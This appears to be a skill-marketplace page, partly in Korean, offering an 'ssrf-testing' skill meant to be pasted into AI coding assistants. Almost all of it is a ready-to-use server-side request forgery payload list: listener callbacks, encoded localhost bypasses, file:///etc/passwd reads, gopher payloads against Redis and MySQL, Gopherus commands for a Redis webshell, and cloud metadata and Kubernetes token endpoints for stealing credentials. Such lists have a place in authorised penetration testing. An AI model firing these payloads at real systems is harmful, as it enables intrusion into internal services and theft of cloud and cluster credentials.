메뉴
Detect and exploit server-side request forgery to access internal resources and cloud metadata
Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
SOC 직업 분류 기준
| name | ssrf-testing |
| description | Detect and exploit server-side request forgery to access internal resources and cloud metadata |
| origin | RedteamOpencode |
url=, uri=, src=, dest=, redirect=, feed=, link=?url=http://COLLABORATOR_DOMAIN/ssrf-test
?url=http://YOUR_SERVER:8888/ssrf-test
# Listener: python3 -m http.server 8888 / nc -lvp 8888
http://127.0.0.1/ http://localhost/ http://0.0.0.0/ http://[::1]/
http://127.1/ http://0/ http://0x7f000001/ http://2130706433/
http://10.0.0.1/ http://172.16.0.1/ http://192.168.1.1/ http://169.254.169.254/
file:///etc/passwd # File read
gopher://127.0.0.1:6379/_INFO # Redis
gopher://127.0.0.1:3306/_ # MySQL
dict://127.0.0.1:6379/INFO # Dict
ftp://127.0.0.1/
Test http://127.0.0.1:PORT/ for common ports (22, 80, 3306, 6379, 8080, 9200, 27017). Indicators: response time diffs, different errors, content length changes, status code diffs.
# IMDSv1
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
http://169.254.169.254/latest/user-data
# IMDSv2 requires PUT for token + X-aws-ec2-metadata-token header
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Requires Metadata-Flavor: Google header (legacy v1beta1 endpoint doesn't)
http://169.254.169.254/metadata/instance?api-version=2021-02-01 # Requires Metadata: true header
file:///var/run/secrets/kubernetes.io/serviceaccount/token
https://kubernetes.default.svc/
http://2130706433/ http://0x7f000001/ http://0177.0.0.01/ # Decimal/Hex/Octal for 127.0.0.1
http://[::ffff:127.0.0.1]/ http://127.0.0x0.1/ # IPv6/mixed
# 127.0.0.1.nip.io 127-0-0-1.sslip.io rbndr.us/dword
http://attacker.com@127.0.0.1/ # Credential section bypass
http://127.0.0.1#@attacker.com/
http://allowed-domain.com/redirect?url=http://127.0.0.1/ # Redirect chain
http://allowed.com\@127.0.0.1/ # Backslash
http://127.0.0.1.allowed.com/ # Subdomain wildcard
# Redis webshell, MySQL, SMTP — use Gopherus tool:
gopherus --exploit redis
gopherus --exploit mysql
http://127.0.0.1:9200/_cat/indices # Elasticsearch
http://127.0.0.1:2375/containers/json # Docker API
http://127.0.0.1:8500/v1/kv/?recurse # Consul
https://127.0.0.1:10250/pods/ # Kubelet
Business logic vulnerability detection — workflow bypass, price manipulation, state abuse, and application-specific flaws
Detect PII, credentials, and corporate sensitive data in API responses, source code, files, headers, and database extracts
Detect and exploit SQL injection vulnerabilities in web application parameters
Test for authentication and authorization flaws including credential attacks, session issues, and access control bypasses
Detect and exploit cross-site scripting vulnerabilities in web applications
Discover hidden parameters, test values, and identify input handling anomalies